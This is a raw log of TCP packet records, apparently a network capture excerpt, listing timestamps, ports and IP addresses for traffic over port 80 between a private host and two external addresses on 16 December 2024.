Dec 16, 2024 21:03:03.299894094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.300595045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.300637960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.300694942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.304833889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.384812117 CET	80	49876	185.215.113.43	192.168.2.4
Dec 16, 2024 21:03:03.384881973 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:03:03.449632883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.449676037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.449700117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.449718952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.450138092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.450186014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.450319052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.450368881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.450762033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.450814009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.450943947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.450994968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.451037884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.451085091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.451195955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.451241016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.452378035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.452914953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.452925920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.452963114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.452964067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.453535080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.453855991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.454026937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.454073906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.454693079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.454763889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.454880953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455621004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455655098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455673933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.455689907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455709934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.455724001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455746889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.455756903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455773115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.455794096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.455801964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.455831051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.456212997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.456259966 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.456338882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.456384897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.457222939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.457273006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.457281113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.457324982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.458040953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.458148956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.458153963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.458233118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.458909988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.458965063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.459043980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.459084988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.459753036 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.459806919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.459868908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.459913015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.460704088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.460750103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.460834980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.460881948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.461507082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.461558104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.461638927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.461683035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.462419033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.462471962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.462534904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.462950945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.463803053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.463849068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.463963032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.464003086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.464147091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.464219093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.464297056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.464339972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.465177059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.465231895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.465308905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.465351105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.465946913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.465996027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.466120005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.466160059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.467086077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.467165947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.467247009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.467293978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.467976093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.468034029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.468101025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.468142986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.468746901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.468898058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.468957901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.470314026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.470369101 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.470447063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.470452070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.470468998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.470488071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.470501900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.470531940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.471262932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.471327066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.471420050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.471467972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.472310066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.472367048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.472400904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.472444057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.473220110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.473277092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.473340034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.473386049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.473855019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.473933935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.473967075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.474008083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.474735022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.474786043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.474827051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.474870920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.475681067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.475750923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.476140022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.476181984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480485916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480520010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480554104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480565071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480587959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480601072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480628967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480642080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480674982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480684996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480709076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480727911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480750084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.480762959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.480794907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.482497931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.482532024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.482548952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.482578993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.482963085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.483004093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.483139038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.483190060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.483915091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.483966112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.484077930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.484117985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.484895945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.484930992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.484976053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.485372066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.485421896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.485702991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.485745907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.486434937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.486469984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.486488104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.486512899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.487210989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.487261057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.487543106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.487586021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.488200903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.488387108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.488432884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.489068985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.489101887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.489118099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.489147902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.490099907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.490159988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.490242958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.490286112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.490850925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.490907907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.491022110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.491065025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.491775036 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.491822958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.491904974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.491946936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.492590904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.492770910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.492816925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.493590117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.493623018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.493635893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.493670940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.494221926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.494271040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.494375944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.494416952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.495193958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.495244026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.495382071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.495426893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.639914989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.639978886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.640072107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.640125990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.640201092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.640285969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.640361071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.640397072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.640404940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.640440941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.641201019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.641252041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.641298056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.641341925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.642116070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.642167091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.642236948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.642281055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.643016100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.643068075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.643115044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.643157005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.643841982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.643894911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.643975973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.644020081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.644710064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.644885063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.644913912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.644932985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.645652056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.645704031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.645746946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.645790100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.646632910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.646682978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.646747112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.646789074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.647587061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.647640944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.647641897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.647685051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.648241043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.648304939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.648367882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.648519993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.649094105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.649255991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.649277925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.649293900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.650010109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.650064945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.650067091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.650115967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.650904894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.650954008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.651031017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.651074886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.651753902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.651803017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.651927948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.651978016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.652677059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.652730942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.652769089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.652782917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.653537035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.653584003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.653666973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.653708935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.654458046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.654510021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.654604912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.654648066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.655447006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.655503035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.655558109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.655597925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.656358004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.656402111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.656543970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.656707048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.657326937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.657382011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.657429934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.658181906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.658240080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.658303976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.658346891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.658966064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.659017086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.659069061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.659111023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.659671068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.659799099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.659799099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.659939051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.660568953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.660744905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.660782099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.661484003 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.661551952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.661613941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.661664963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.662533045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.662585974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.662650108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.662695885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.663233042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.663285971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.663436890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.663511038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.664108992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.664169073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.664170027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.664212942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.664969921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.665023088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.665079117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.665122032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.665926933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.665977001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.666013002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.666054010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.666754961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.666807890 CET	49882	80	192.168.2.4	31.41.244.11
